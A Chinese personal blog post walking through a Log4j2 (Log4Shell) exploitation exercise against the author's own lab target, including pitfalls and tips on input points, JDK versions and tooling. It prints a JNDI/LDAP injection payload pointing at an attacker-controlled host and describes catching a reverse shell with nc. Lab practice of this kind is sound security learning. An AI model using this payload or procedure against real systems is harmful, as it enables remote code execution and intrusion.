Log4j2靶机实操:从踩坑到拿Shell,我用了整整一晚上!
哎,朋友们,今天必须跟你们唠唠我昨晚折腾Log4j2靶机实操的血泪史,说实话,之前一直听说Log4j2这个漏洞(CVE-2021-44228)闹得沸沸扬扬,什么"核弹级漏洞"、"Log4Shell",耳朵都听出茧子了,但一直没亲手打过,直到昨天兴致来了,搭了个靶机,才算真正体会到——这玩意儿是真的刺激,也是真的坑人啊!

靶机环境搭建:开局就给我来了个下马威
我用的环境其实不复杂:一台Ubuntu跑着存在漏洞的Log4j2版本服务,攻击机就是我的Kali,话说回来,搭建过程倒是挺顺利,Docker拉起来,端口一映射,浏览器一访问,页面出来了——看着人畜无害的一个登录框,我当时还心想:"就这?能有多难?"
结果呢?啪啪打脸。
第一坑:LDAP服务没起来,我按教程在Kali上起了个JNDI-Exploit-Kit,结果靶机那边一直没回连,折腾了半小时才发现是我自己监听端口填错了,尴尬得想找个地缝钻进去,你们懂那种感觉吗?明明每一步都"照着做了",就是不通,最后发现是个低级错误,真的是想砸键盘。
Payload构造:手抖着敲下那串字符
Log4j2靶机实操的核心,其实就是构造恶意Payload,原理大家都知道:Log4j2在记录日志时会解析里的内容,通过JNDI去加载远程类,所以Payload大概长这样:
${jndi:ldap://你的IP:1389/Exploit}
我第一次把这段丢进登录框的用户名里,手都是抖的——毕竟网上都说这玩意儿一打一个准,结果……没反应,当时心里咯噔一下:"难道靶机环境不对?"
后来才发现,第二坑来了:我把Payload放在了一个根本不会触发日志记录的字段里,Log4j2靶机实操最重要的一点,就是要找到真正会被记录到日志的输入点,换成登录框的用户名字段后,再次提交——
哇!Kali那边JNDI-Exploit-Kit的日志瞬间疯狂滚动!那一刻的成就感,懂吧?就是那种"成了成了!"的激动,差点从椅子上蹦起来。
反弹Shell:心跳加速的几十秒
接下来就是反弹Shell了,我在JNDI-Exploit-Kit里选好利用链,启动监听,然后再次触发Payload,说实话,等Shell的那几十秒,我眼睛都不敢眨,死死盯着终端。
当看到nc监听窗口里跳出来一串提示符的时候,我整个人都放松了,长舒一口气——成功了! 就这么简单几步,一个RCE就到手了,真的,Log4j2靶机实操做一遍你就明白,为什么当初安全圈那么恐慌了,这漏洞利用门槛低得离谱,危害还大得吓人。
复盘一下:几个必须注意的细节
折腾完这一晚上,我总结了几个Log4j2靶机实操的关键点,分享给想练手的朋友:
- 一定要找对输入点,不是所有输入都会被日志记录,得看靶机代码逻辑;
- JDK版本很关键,高版本JDK默认禁用了远程类加载,靶机环境最好贴近真实场景;
- 网络要通,攻击机和靶机之间LDAP/RMI端口别被防火墙拦了,我第一次失败就是这原因;
- 工具版本要对,JNDI-Exploit-Kit不同版本支持链不一样,别瞎选。
最后唠两句
说真的,Log4j2靶机实操这个事儿,光看文章是学不会的,必须自己动手踩坑,我这一晚上从自信满满到怀疑人生,再到柳暗花明,情绪跟坐过山车似的,但也正是这种折腾,才让我真正理解了JNDI注入、LDAP回连这些原来只在纸上看到的概念。
如果你也在学Web安全,强烈建议找个Log4j2靶机实操练一练,别怕失败,坑踩多了自然就熟了,有啥问题欢迎评论区交流,咱们一起进步!毕竟,安全这条路,一个人走太孤单了,哈哈。